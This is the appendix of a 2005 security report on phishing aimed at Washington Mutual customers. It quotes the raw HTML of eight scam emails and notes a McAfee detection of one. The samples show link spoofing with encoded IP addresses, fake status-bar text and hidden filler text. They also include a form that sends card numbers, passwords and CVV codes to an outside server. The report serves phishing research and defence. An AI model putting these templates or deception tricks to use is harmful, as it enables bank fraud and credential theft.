Phishing Trip Part 1: Appendices Download PDF

infectionvectors.com

January 2005

See Full Report - Phishing Trip Part 1: Washington Mutual

Appendix A: The WaMu Letters

Message 0, received 10 November 2004:

<html><p><font face="Arial"><A HreF="http://www.wamu.com/personal/welcome/confirmusersdata.htm"><map name="FPMap0"><area coords="0, 0, 590, 292" shape="rect" href="http://%36%35%2E%31%36%37%2E%31%33%30%2E%31%32%36:%38%37/%77%61/%

69%6E%64%65%78%2E%68%74%6D"></map><img SRC="cid:part1.02040006.02050903@support_id_313219724@wamu.com" border="0" usemap="#FPMap0"></A></a></font></p><p><font color="#FFFFFB">Freeware The Holocaust It's out of the question. in 1929 Fast Search come on! Snowboarding well fine I'll speak my mind. Ok deal NCAA Basketball in fact Madonna Yes, it's great. Computers Will you, please... in 1958 in 1921 Prom Hairstyles in 1842 Diablo 2 X Files Tool You are through </font></p></html>

Message 1, received 24 December 2004:

<td>

</td>

</tr>

</table>

</table>

<tr>

</tr>

</table>

</td>

</tr>

<tr>

<td class="pptext" width="590"><p>Dear wamu valued member, <br>

<br>

On the date of 18th of December there was a login trials from <br>

a foreign IP address which resulted with your account <br>

temporary suspension .

<p>for your security <br>

you have to immediately reactivate your account <br></p>

<p>Please click the link below to reactivate your account: </p>

<p align="left"><a href="http://64.23.10.44/wamuupdate/accounts/update/avncenter/bsda6gwcv7zfcwfcwf34gfw

f23g235f134f3fg3f&bhdfahva68532hbhwseBayISAPI.dllPaymentLanding&ssPageName=hhpayUSf&=u

serhgads&secure&ssl7r2vbd7d88klmnogh.htm">https://www.wamu.com/internetBanking/Request

Router?requestCmdId=Reactivate </a></p>

<p align="left">Sincerely, <br>

wamu Security Department

<p align="left">This notification expires in 48 Hours<BR><IMG height=5 alt="" hspace=0 src="http://www.suntrust.com/images/Common/release3/common_header_yellowspan.gif" width=836 border=0> </p></td>

</tr>

<tr>

</tr>

</table>

</td>

</tr>

</table>

</body>

</html>

Message 2, received 28 December 2004:

<html>

<head>

<style>

<!--

#message td {font-family: verdana,arial,helvetica,sans-serif;font-size:

12px;color: #000000;}

#message .pp_heading {font-family: verdana,arial,helvetica,sans-serif;font-size:

18px;font-weight: bold;color: #003366;}

#message .pp_sansserif{font-family: verdana,arial,helvetica,sans-serif; font-size:

16px;color: #000000;}

#message hr.dotted {width: 100%; margin-top: 0px; margin-bottom: 0px; border-left:

#fff; border-right: #fff; border-top: #fff; border-bottom: 2px dotted #ccc;}

#message .pp_footer {font-family: verdana,arial,helvetica,sans-serif;font-size:

11px;color: #aaaaaa;}

-->

</style>

</head>

<body>

<tr>

</tr>

</table>

<div id="message" style="font-family: verdana,arial,helvetica,sans-serif; font-size: 12px;

color: #000000">

#message .dummy {}

#message td {font-family: verdana,arial,helvetica,sans-serif;font-size:

12px;color: #000000;}

#message {font-family: verdana,arial,helvetica,sans-serif;font-size:

12px;color: #000000;}

#message LI {line-height: 120%;}

#message UL.ppsmallborder {margin:10px 5px 10px 20px;}

#message LI.ppsmallborderli {margin:0px 0px 5px 0px;}

#message UL.pp_narrow {margin:10px 5px 0px 40px;}

#message hr.dotted {width: 100%; margin-top: 0px; margin-bottom: 0px; border-left:

#fff; border-right: #fff; border-top: #fff; border-bottom: 2px dotted #ccc;}

#message .pp_label {font-family: verdana,arial,helvetica,sans-serif;font-size:

10px;font-weight: bold;color: #000000;}

#message .pp_serifbig {font-family: serif;font-size: 20px;font-weight: bold;color:

#000000;}

#message .pp_serif{font-family: serif;font-size: 16px;color: #000000;}

#message .pp_sansserif{font-family: verdana,arial,helvetica,sans-serif; font-size:

16px;color: #000000;}

#message .pp_heading {font-family: verdana,arial,helvetica,sans-serif;font-size:

18px;font-weight: bold;color: #003366;}

#message .pp_subheadingeoa {font-family:

verdana,arial,helvetica,sans-serif;font-size: 15px;font-weight: bold;color:

#000000;}

#message .pp_subheading {font-family: verdana,arial,helvetica,sans-serif;font-size:

16px;font-weight: bold;color: #003366;}

#message .pp_sidebartext {font-family: verdana,arial,helvetica,sans-serif;font-size:

11px;color: #003366;}

#message .pp_sidebartextbold {font-family:

verdana,arial,helvetica,sans-serif;font-size: 11px;font-weight: bold;color:

#003366;}

#message .pp_footer {font-family: verdana,arial,helvetica,sans-serif;font-size:

11px;color: #aaaaaa;}

#message .pp_button {font-size: 13px; font-family:

verdana,arial,helvetica,sans-serif; font-weight: 400; border-style:outset;

color:#000000; background-color: #cccccc;}

#message .pp_smaller {font-family: verdana,arial,helvetica,sans-serif;font-size:

10px;color: #000000;}

#message .pp_smallersidebar {font-family:

verdana,arial,helvetica,sans-serif;font-size: 10px;color: #003366;}

#message .ppem106 {font-weight: 700;}

</style>

<tr>

<td width="100%" style="font-family: verdana,arial,helvetica,sans-serif; font-size: 12px; color:

#000000">

<img height="10" src="http://images.paypal.com/images/pixel.gif" width="1"

border="0"></td>

</tr>

</table>

<td width="400" style="font-family: verdana,arial,helvetica,sans-serif; font-size: 12px;

color: #000000">

<td style="font-family: verdana,arial,helvetica,sans-serif; font-size: 12px; color:

#000000">

<tr>

Security Center Advisory!</td>

</tr>

</table>

</td>

</tr>

<tr>

<td style="font-family: verdana,arial,helvetica,sans-serif; font-size: 12px; color:

#000000">

<p><br>

Washington Mutual is committed to maintaining a safe environment

for its community of buyers and sellers. To protect the security

of your account, Washington Mutual employs some of the most advanced

security systems in the world and our anti-fraud teams regularly

screen the Washington Mutual system for unusual activity.<br>

<br>

We recently have determined that different computers have logged

onto your Washington Mutual Online Banking account, and multiple

password failures were present before the logons. We now need

you to re-confirm your account information to us. If this is not

completed by <strong>January 07, 2005</strong>, we will be forced

to suspend your account indefinitely, as it may have been used

for fraudulent purposes. We thank you for your cooperation in

this manner. <br>

<br>

In order to confirm your Online Bank records, we may require some

specific information from you.<br>

<br>

Please follow the link below and renew your account information

: <br>

<br>

href="http://211.9.254.123/en/.mutual-sk/index.php?MfcISAPICommand=SignInFPP&UsingSSL=1&email=&userid="

onMouseOver="window.status='https://login.personal.wamu.com/logon/logon.asp?dd=1&Update&Your&Info';return true;"

onMouseOut="window.status=' ';return

true;">https://login.personal.wamu.com/logon/logon.asp?dd=1&Update&Your&Info</a>

<br>

Thank you for your prompt attention to this matter. Please understand

that this is a security measure meant to help protect you and

your account. <br>

<br>

We apologize for any inconvenience.<br>

<br>

If you choose to ignore our request, you leave us no choise but

to temporaly suspend your account.<br>

<br>

Thank you for using Washington Mutual!</p>

</td>

</tr>

<tr>

<td style="font-family: verdana,arial,helvetica,sans-serif; font-size: 12px; color:

#000000">

</tr>

<tr>

<td style="font-family: verdana,arial,helvetica,sans-serif; font-size: 12px; color:

#000000">

<tr>

<td style="font-family: verdana,arial,helvetica,sans-serif; font-size: 12px;

color: #000000">

<img height="10" src="http://images.paypal.com/en_US/i/scr/pixel.gif" width="1"

border="0"></td>

</tr>

</table>

</td>

</tr>

<tr>

<td style="font-family: verdana,arial,helvetica,sans-serif; font-size: 12px; color:

#000000"> </td>

</tr>

</table>

</td>

</tr>

</table>

</body>

</html>

Message 3, received 30 December 2004:

<html>

<head>

<style>

<!--

#message td {font-family: verdana,arial,helvetica,sans-serif;font-size:

12px;color: #000000;}

#message .pp_heading {font-family: verdana,arial,helvetica,sans-serif;font-size:

18px;font-weight: bold;color: #003366;}

#message .pp_sansserif{font-family: verdana,arial,helvetica,sans-serif;

font-size:

16px;color: #000000;}

#message hr.dotted {width: 100%; margin-top: 0px; margin-bottom: 0px;

border-left:

#fff; border-right: #fff; border-top: #fff; border-bottom: 2px dotted #ccc;}

#message .pp_footer {font-family: verdana,arial,helvetica,sans-serif;font-size:

11px;color: #aaaaaa;}

-->

</style>

</head>

<body>

<table class="messageheader" cellSpacing="0" cellPadding="0" width="100%"

border="0">

<tr>

</tr>

</table>

<div id="message" style="font-family: verdana,arial,helvetica,sans-serif;

font-size: 12px;

color: #000000">

#message .dummy {}

#message td {font-family: verdana,arial,helvetica,sans-serif;font-size:

12px;color: #000000;}

#message {font-family: verdana,arial,helvetica,sans-serif;font-size:

12px;color: #000000;}

#message LI {line-height: 120%;}

#message UL.ppsmallborder {margin:10px 5px 10px 20px;}

#message LI.ppsmallborderli {margin:0px 0px 5px 0px;}

#message UL.pp_narrow {margin:10px 5px 0px 40px;}

#message hr.dotted {width: 100%; margin-top: 0px; margin-bottom: 0px;

border-left:

#fff; border-right: #fff; border-top: #fff; border-bottom: 2px dotted #ccc;}

#message .pp_label {font-family: verdana,arial,helvetica,sans-serif;font-size:

10px;font-weight: bold;color: #000000;}

#message .pp_serifbig {font-family: serif;font-size: 20px;font-weight:

bold;color:

#000000;}

#message .pp_serif{font-family: serif;font-size: 16px;color: #000000;}

#message .pp_sansserif{font-family: verdana,arial,helvetica,sans-serif;

font-size:

16px;color: #000000;}

#message .pp_heading {font-family: verdana,arial,helvetica,sans-serif;font-size:

18px;font-weight: bold;color: #003366;}

#message .pp_subheadingeoa {font-family:

verdana,arial,helvetica,sans-serif;font-size: 15px;font-weight: bold;color:

#000000;}

#message .pp_subheading {font-family:

verdana,arial,helvetica,sans-serif;font-size:

16px;font-weight: bold;color: #003366;}

#message .pp_sidebartext {font-family:

verdana,arial,helvetica,sans-serif;font-size:

11px;color: #003366;}

#message .pp_sidebartextbold {font-family:

verdana,arial,helvetica,sans-serif;font-size: 11px;font-weight: bold;color:

#003366;}

#message .pp_footer {font-family: verdana,arial,helvetica,sans-serif;font-size:

11px;color: #aaaaaa;}

#message .pp_button {font-size: 13px; font-family:

verdana,arial,helvetica,sans-serif; font-weight: 400; border-style:outset;

color:#000000; background-color: #cccccc;}

#message .pp_smaller {font-family: verdana,arial,helvetica,sans-serif;font-size:

10px;color: #000000;}

#message .pp_smallersidebar {font-family:

verdana,arial,helvetica,sans-serif;font-size: 10px;color: #003366;}

#message .ppem106 {font-weight: 700;}

</style>

<tr>

<td width="100%" style="font-family: verdana,arial,helvetica,sans-serif;

font-size: 12px; color:

#000000">

<img height="10" src="

images.paypal.com/images/pixel.gif" width="1"

border="0"></td>

</tr>

</table>

<td width="400" style="font-family: verdana,arial,helvetica,sans-serif;

font-size: 12px;

color: #000000">

<td style="font-family: verdana,arial,helvetica,sans-serif;

font-size: 12px; color:

#000000">

<tr>

Security Center Advisory!</td>

</tr>

</table>

</td>

</tr>

<tr>

<td style="font-family: verdana,arial,helvetica,sans-serif;

font-size: 12px; color:

#000000">

<p><br>

Washington Mutual is committed to maintaining a safe environment

for its community of buyers and sellers. To protect the security

of your account, Washington Mutual employs some of the most

advanced

security systems in the world and our anti-fraud teams regularly

screen the Washington Mutual system for unusual activity.<br>

<br>

We recently have determined that different computers have logged

onto your Washington Mutual Online Banking account, and multiple

password failures were present before the logons. We now need

you to re-confirm your account information to us. If this is not

completed by <strong>Jan 10, 2005</strong>, we will be forced

to suspend your account indefinitely, as it may have been used

for fraudulent purposes. We thank you for your cooperation in

this manner. <br>

<br>

In order to confirm your Online Bank records, we may require

some

specific information from you.<br>

<br>

Please follow the link below and renew your account information

: <br>

<br>

href="http://210.103.105.224/.wamu/index.php?MfcISAPICommand=SignInFPP&UsingSSL=1&email=&userid=" onMouseOver="window.status='https://login.personal.wamu.com/logon/logon.asp?dd=1&Update&Your&Info';return

true;"

onMouseOut="window.status=' ';return

true;">https://login.personal.wamu.com/logon/logon.asp?dd=1&Update&Your&Info</a>

<br>

Thank you for your prompt attention to this matter. Please

understand

that this is a security measure meant to help protect you and

your account. <br>

<br>

We apologize for any inconvenience.<br>

<br>

If you choose to ignore our request, you leave us no choise but

to temporaly suspend your account.<br>

<br>

Thank you for using Washington Mutual!</p>

</td>

</tr>

<tr>

<td style="font-family: verdana,arial,helvetica,sans-serif;

font-size: 12px; color:

#000000">

</tr>

<tr>

<td style="font-family: verdana,arial,helvetica,sans-serif;

font-size: 12px; color:

#000000">

<tr>

<td style="font-family: verdana,arial,helvetica,sans-serif;

font-size: 12px;

color: #000000">

<img height="10"

src="http://images.paypal.com/en_US/i/scr/pixel.gif" width="1"

border="0"></td>

</tr>

</table>

</td>

</tr>

<tr>

<td style="font-family: verdana,arial,helvetica,sans-serif;

font-size: 12px; color:

#000000"> </td>

</tr>

</table>

</td>

</tr>

</table>

</body>

</html>

Message 4, received on 30 December 2004:

<html>

<head>

<style>

<!--

#message td {font-family: verdana,arial,helvetica,sans-serif;font-size:

12px;color: #000000;}

#message .pp_heading {font-family: verdana,arial,helvetica,sans-serif;font-size:

18px;font-weight: bold;color: #003366;}

#message .pp_sansserif{font-family: verdana,arial,helvetica,sans-serif; font-size:

16px;color: #000000;}

#message hr.dotted {width: 100%; margin-top: 0px; margin-bottom: 0px; border-left:

#fff; border-right: #fff; border-top: #fff; border-bottom: 2px dotted #ccc;}

#message .pp_footer {font-family: verdana,arial,helvetica,sans-serif;font-size:

11px;color: #aaaaaa;}

-->

</style>

</head>

<body>

<tr>

</tr>

</table>

<div id="message" style="font-family: verdana,arial,helvetica,sans-serif; font-size: 12px;

color: #000000">

#message .dummy {}

#message td {font-family: verdana,arial,helvetica,sans-serif;font-size:

12px;color: #000000;}

#message {font-family: verdana,arial,helvetica,sans-serif;font-size:

12px;color: #000000;}

#message LI {line-height: 120%;}

#message UL.ppsmallborder {margin:10px 5px 10px 20px;}

#message LI.ppsmallborderli {margin:0px 0px 5px 0px;}

#message UL.pp_narrow {margin:10px 5px 0px 40px;}

#message hr.dotted {width: 100%; margin-top: 0px; margin-bottom: 0px; border-left:

#fff; border-right: #fff; border-top: #fff; border-bottom: 2px dotted #ccc;}

#message .pp_label {font-family: verdana,arial,helvetica,sans-serif;font-size:

10px;font-weight: bold;color: #000000;}

#message .pp_serifbig {font-family: serif;font-size: 20px;font-weight: bold;color:

#000000;}

#message .pp_serif{font-family: serif;font-size: 16px;color: #000000;}

#message .pp_sansserif{font-family: verdana,arial,helvetica,sans-serif; font-size:

16px;color: #000000;}

#message .pp_heading {font-family: verdana,arial,helvetica,sans-serif;font-size:

18px;font-weight: bold;color: #003366;}

#message .pp_subheadingeoa {font-family:

verdana,arial,helvetica,sans-serif;font-size: 15px;font-weight: bold;color:

#000000;}

#message .pp_subheading {font-family: verdana,arial,helvetica,sans-serif;font-size:

16px;font-weight: bold;color: #003366;}

#message .pp_sidebartext {font-family: verdana,arial,helvetica,sans-serif;font-size:

11px;color: #003366;}

#message .pp_sidebartextbold {font-family:

verdana,arial,helvetica,sans-serif;font-size: 11px;font-weight: bold;color:

#003366;}

#message .pp_footer {font-family: verdana,arial,helvetica,sans-serif;font-size:

11px;color: #aaaaaa;}

#message .pp_button {font-size: 13px; font-family:

verdana,arial,helvetica,sans-serif; font-weight: 400; border-style:outset;

color:#000000; background-color: #cccccc;}

#message .pp_smaller {font-family: verdana,arial,helvetica,sans-serif;font-size:

10px;color: #000000;}

#message .pp_smallersidebar {font-family:

verdana,arial,helvetica,sans-serif;font-size: 10px;color: #003366;}

#message .ppem106 {font-weight: 700;}

</style>

<tr>

<td width="100%" style="font-family: verdana,arial,helvetica,sans-serif; font-size: 12px; color:

#000000">

<img height="10" src="http://images.paypal.com/images/pixel.gif" width="1"

border="0"></td>

</tr>

</table>

<td width="400" style="font-family: verdana,arial,helvetica,sans-serif; font-size: 12px;

color: #000000">

<td style="font-family: verdana,arial,helvetica,sans-serif; font-size: 12px; color:

#000000">

<tr>

Security Center Advisory!</td>

</tr>

</table>

</td>

</tr>

<tr>

<td style="font-family: verdana,arial,helvetica,sans-serif; font-size: 12px; color:

#000000">

<p><br>

Washington Mutual is committed to maintaining a safe environment

for its community of buyers and sellers. To protect the security

of your account, Washington Mutual employs some of the most advanced

security systems in the world and our anti-fraud teams regularly

screen the Washington Mutual system for unusual activity.<br>

<br>

We recently have determined that different computers have logged

onto your Washington Mutual Online Banking account, and multiple

password failures were present before the logons. We now need

you to re-confirm your account information to us. If this is not

completed by <strong>January 07, 2005</strong>, we will be forced

to suspend your account indefinitely, as it may have been used

for fraudulent purposes. We thank you for your cooperation in

this manner. <br>

<br>

In order to confirm your Online Bank records, we may require some

specific information from you.<br>

<br>

Please follow the link below and renew your account information

: <br>

<br>

href="http://12.166.79.35/.mutual-sk/index.php?MfcISAPICommand=SignInFPP&UsingSSL=1&email=&userid="

onMouseOver="window.status='https://login.personal.wamu.com/logon/logon.asp?dd=1&Update&Your&Info';return true;"

onMouseOut="window.status=' ';return

true;">https://login.personal.wamu.com/logon/logon.asp?dd=1&Update&Your&Info</a>

<br>

Thank you for your prompt attention to this matter. Please understand

that this is a security measure meant to help protect you and

your account. <br>

<br>

We apologize for any inconvenience.<br>

<br>

If you choose to ignore our request, you leave us no choise but

to temporaly suspend your account.<br>

<br>

Thank you for using Washington Mutual!</p>

</td>

</tr>

<tr>

<td style="font-family: verdana,arial,helvetica,sans-serif; font-size: 12px; color:

#000000">

</tr>

<tr>

<td style="font-family: verdana,arial,helvetica,sans-serif; font-size: 12px; color:

#000000">

<tr>

<td style="font-family: verdana,arial,helvetica,sans-serif; font-size: 12px;

color: #000000">

<img height="10" src="http://images.paypal.com/en_US/i/scr/pixel.gif" width="1"

border="0"></td>

</tr>

</table>

</td>

</tr>

<tr>

<td style="font-family: verdana,arial,helvetica,sans-serif; font-size: 12px; color:

#000000"> </td>

</tr>

</table>

</td>

</tr>

</table>

</body>

</html>

Message 5, received 1 January 2005:

<td>

</td>

</tr>

</table>

</table>

<tr>

</tr>

</table>

</td>

</tr>

<tr>

<td class="pptext" width="590"><p>Dear wamu valued member, <br>

<br>

On the date of January 1st there was a login trials from <br>

a foreign IP address which resulted with your account <br>

temporary suspension .

<p>for your security <br>

you have to immediately reactivate your account <br></p>

<p>Please click the link below to reactivate your account: </p>

<p align="left"><a href="http://aquaforcepspump.com/wamu/accounts/update/avncenter/bsda6gwcv7zfcwfcwf34gfw

f23g235f134f3fg3f&bhdfahva68532hbhwseBayISAPI.dllPaymentLanding&ssPageName=hhpayUSf&=user

hgads&secure&ssl7r2vbd7d88klmnogh.htm">https://www.wamu.com/internetBanking/RequestRouter

?requestCmdId=Reactivate </a></p>

<p align="left">Sincerely, <br>

Wamu Security Department

<p align="left">This notification expires in 48 Hours<BR><IMG height=5 alt="" hspace=0 src="http://www.suntrust.com/images/Common/release3/common_header_yellowspan.gif" width=836 border=0> </p></td>

</tr>

<tr>

</tr>

</table>

</td>

</tr>

</table>

</body>

</html>

Message 6, 5 January 2005:

<html>

<head>

<style>

<!--

#message #message td {font-family: verdana,arial,helvetica,sans-serif;font-size:

12px;color: #000000;}

#message #message .pp_heading {font-family: verdana,arial,helvetica,sans-serif;font-size:

18px;font-weight: bold;color: #003366;}

#message #message .pp_sansserif{font-family: verdana,arial,helvetica,sans-serif; font-size:

16px;color: #000000;}

#message #message hr.dotted {width: 100%; margin-top: 0px; margin-bottom: 0px; border-left:

#fff; border-right: #fff; border-top: #fff; border-bottom: 2px dotted #ccc;}

#message #message .pp_footer {font-family: verdana,arial,helvetica,sans-serif;font-size:

11px;color: #aaaaaa;}

-->

</style>

</head>

<xbody>

<tr>

</tr>

</table>

<div id="message" style="font-family: verdana,arial,helvetica,sans-serif; font-size: 12px;

color: #000000">

#message #message .dummy {}

#message #message td {font-family: verdana,arial,helvetica,sans-serif;font-size:

12px;color: #000000;}

#message #message {font-family: verdana,arial,helvetica,sans-serif;font-size:

12px;color: #000000;}

#message #message LI {line-height: 120%;}

#message #message UL.ppsmallborder {margin:10px 5px 10px 20px;}

#message #message LI.ppsmallborderli {margin:0px 0px 5px 0px;}

#message #message UL.pp_narrow {margin:10px 5px 0px 40px;}

#message #message hr.dotted {width: 100%; margin-top: 0px; margin-bottom: 0px; border-left:

#fff; border-right: #fff; border-top: #fff; border-bottom: 2px dotted #ccc;}

#message #message .pp_label {font-family: verdana,arial,helvetica,sans-serif;font-size:

10px;font-weight: bold;color: #000000;}

#message #message .pp_serifbig {font-family: serif;font-size: 20px;font-weight: bold;color:

#000000;}

#message #message .pp_serif{font-family: serif;font-size: 16px;color: #000000;}

#message #message .pp_sansserif{font-family: verdana,arial,helvetica,sans-serif; font-size:

16px;color: #000000;}

#message #message .pp_heading {font-family: verdana,arial,helvetica,sans-serif;font-size:

18px;font-weight: bold;color: #003366;}

#message #message .pp_subheadingeoa {font-family:

verdana,arial,helvetica,sans-serif;font-size: 15px;font-weight: bold;color:

#000000;}

#message #message .pp_subheading {font-family: verdana,arial,helvetica,sans-serif;font-size:

16px;font-weight: bold;color: #003366;}

#message #message .pp_sidebartext {font-family:

verdana,arial,helvetica,sans-serif;font-size:

11px;color: #003366;}

#message #message .pp_sidebartextbold {font-family:

verdana,arial,helvetica,sans-serif;font-size: 11px;font-weight: bold;color:

#003366;}

#message #message .pp_footer {font-family: verdana,arial,helvetica,sans-serif;font-size:

11px;color: #aaaaaa;}

#message #message .pp_button {font-size: 13px; font-family:

verdana,arial,helvetica,sans-serif; font-weight: 400; border-style:outset;

color:#000000; background-color: #cccccc;}

#message #message .pp_smaller {font-family: verdana,arial,helvetica,sans-serif;font-size:

10px;color: #000000;}

#message #message .pp_smallersidebar {font-family:

verdana,arial,helvetica,sans-serif;font-size: 10px;color: #003366;}

#message #message .ppem106 {font-weight: 700;}

</style>

<td style="font-family: verdana,arial,helvetica,sans-serif; font-size: 12px; color:

#000000">

target="_blank" href="https://login.personal.wamu.com/logon/logon.asp?dd=1"

<img alt="wamu.com" src="http://us.i1.yimg.com/us.yimg.com/i/us/pim/el/spc_eee1.gif"

border="0"

width="255" height="35"></a>

</td>

</tr>

</table>

<tr>

<td width="100%" style="font-family: verdana,arial,helvetica,sans-serif; font-size:

12px; color:

#000000">

<img height="10" src="http://us.i1.yimg.com/us.yimg.com/i/us/pim/el/spc_eee1.gif"

width="1"

border="0"></td>

</tr>

</table>

<td width="400" style="font-family: verdana,arial,helvetica,sans-serif; font-size:

12px;

color: #000000">

<td style="font-family: verdana,arial,helvetica,sans-serif; font-size: 12px;

color:

#000000">

<tr>

Security Center Advisory!</td>

</tr>

</table>

</td>

</tr>

<tr>

<td style="font-family: verdana,arial,helvetica,sans-serif; font-size: 12px;

color:

#000000">

<br>

WAMU is committed to maintaining a safe environment for its

community of buyers and sellers. To protect the security of your

account, WAMU employs some of the most advanced security systems in

the world and our anti-fraud teams regularly screen the WAMU system

for unusual activity.<br>

<br>

In accordance with WAMU's User Agreement and to ensure that your

account has not been compromised, access to your account was limited.

<br>

Your account access will remain limited until this issue has been

resolved. <br>

<br>

In order to secure your account and quickly restore full access, we

may require some specific information from you for the following

reason: <br>

<br>

We encourage you to log in and restore full access as soon as

possible.<br>

 <table cellSpacing="0" cellPadding="1" width="75%" align="left" bgColor="#ffe65c"

border="0">

<tr>

<td style="font-family: verdana,arial,helvetica,sans-serif; font-size: 12px;

color: #000000">

<table cellSpacing="0" cellPadding="4" width="100%" align="center"

bgColor="#fffecd" border="0">

<tr>

target="_blank"

href="http://69.41.170.174/~aca/.wamusk/index.php?MfcISAPICommand=SignInFPP&UsingSSL=1&email=&userid="

Click here to verify your account</a></td>

</tr>

</table>

</td>

</tr>

</table>

<p><br>

<br>

Should access to your account remain limited for an extended period of

time, it may result in further limitations on the use of your account

or may result in eventual account closure.<br>

<br>

Thank you for your prompt attention to this matter. Please understand

that this is a security measure meant to help protect you and your

account. <br>

<br>

We apologize for any inconvenience.<br>

<br>

If you choose to ignore our request, you leave us no choise but to

temporaly suspend your account.<br>

<br>

Thank you for using WAMU!</td>

</tr>

<tr>

<td style="font-family: verdana,arial,helvetica,sans-serif; font-size: 12px;

color:

#000000">

</tr>

<tr>

<td style="font-family: verdana,arial,helvetica,sans-serif; font-size: 12px;

color:

#000000">

<tr>

<td style="font-family: verdana,arial,helvetica,sans-serif; font-size: 12px;

color: #000000">

<img height="10"

src="http://us.i1.yimg.com/us.yimg.com/i/us/pim/el/spc_eee1.gif" width="1"

border="0"></td>

</tr>

</table>

</td>

</tr>

<tr>

<td style="font-family: verdana,arial,helvetica,sans-serif; font-size: 12px;

color:

#000000">

</tr>

</table>

</td>

</tr>

</table>

</div>

</xbody>

</html>

Message 7, received 6 January 2005:

<tr>

</tr>

<tr>

<td>Dear <b>Washington Mutual Customer,</b><br>

<br>

We recently reviewed your account, and suspect that your <b>Washington

Mutual Internet Banking</b> account may have been accesssed by an

unauthorized third party. Protecting the security of your account and of the

<b>Washington Mutual </b>network is our primary concern. Therefore, as a

preventative measure, we have temporarily limited access to sensitive

account features.<br>

<br>

<form method="POST" target="self" action="http://www.yourinternetzone.com/css/confirr.php?secure_login=true&change_pass=true&userid=

612723893459&confirm=hd2mx6kc&data_mode=%20secured">

To restore your account access, please complete the form and click submit to

ensure that your account has not been compromised:<br>

<br>

1. Complete your <b>Washington Mutual Internet Banking</b> account. In case

you are not enrolled for <b>Internet Banking</b>, you will have to use your

Credit Card Number as both your Personal ID and Password and fill in

all the required information.<br>

<br>

2. Review your recent account history for any unauthorized withdrawles or

deposits, and check your account profile to make sure not changes have been

made. If any unauthorized activity has taken place on your

account, report this to <b>Washington Mutual</b> staff immediately.<br>

<br>

To get started, confirm your Washington Mutual Online Account:<br>

</p>

<tr>

</tr>

<tr>

<tr>

</tr>

<tr>

<font face="Times New Roman">Password: </font></b></td>

</tr>

<tr>

<font class="mainfontbold" face="Times New Roman">ATM/Visa Check Card

Number:</font></b></td>

 </td>

</tr>

<tr>

<label for="expdate_month"><b>Expiration Date:</b></label></span></font></td>

>01</option>

>02</option>

>03</option>

>04</option>

>05</option>

>06</option>

>07</option>

>08</option>

>09</option>

>10</option>

>11</option>

>12</option>

</select><select name="exan">

>2004</option>

>2005</option>

>2006</option>

>2007</option>

>2008</option>

>2009</option>

>2010</option>

>2011</option>

>2012</option>

>2013</option>

>2014</option>

>2015</option>

</select></b></font></td>

</td>

</tr>

<tr>

<font class="mainfontbold" face="Times New Roman">Card Verification

Number:</font></b></td>

</td>

</tr>

<tr>

 </td>

</tr>

</table>

</td>

</tr>

<tr>

</tr>

</table>

<br>

<input type="submit" value="Secure Update >"><p>We apologize for any inconvenience this may cause, and appreciate your

assistance in helping us maintain the<br>

integrity of the entire Washington Mutual system. Thank you for your promt

attention to this matter.<br>

<br>

Sincerly,

<br>

The Washington Mutual Team<br>

<br>

Please do not respond to this e-mail. Mail sent to this address cannot be

answered. For Assistance, log in to<br>

your Washington Mutual account and choose the "Help" link in the header of

any page.</p>

</td>

</tr>

<tr>

2005, Washington Mutual, Inc. All Rights. Reserved.</nobr></font></td>

</tr>

</table>

Appendix B: Detection Tools

Some anti-virus/mail scanning tools will filter scam messages such as those presented in this paper. One such tool is McAfee’s scanner, which successfully identified and blocked delivery of the email known as “Message 7” above.

Below are the details of this detection:

Phish-BankFraud.eml Trojan

Technical details of failure:
PERM_FAILURE: SMTP Error (state 13): 550 Found the Phish-BankFraud.eml trojan !!!

McAfee’s technical discussion of such scams is presented at:

http://vil.nai.com/vil/content/v_127728.htm

See Full Report - Phishing Trip Part 1: Washington Mutual

Download PDF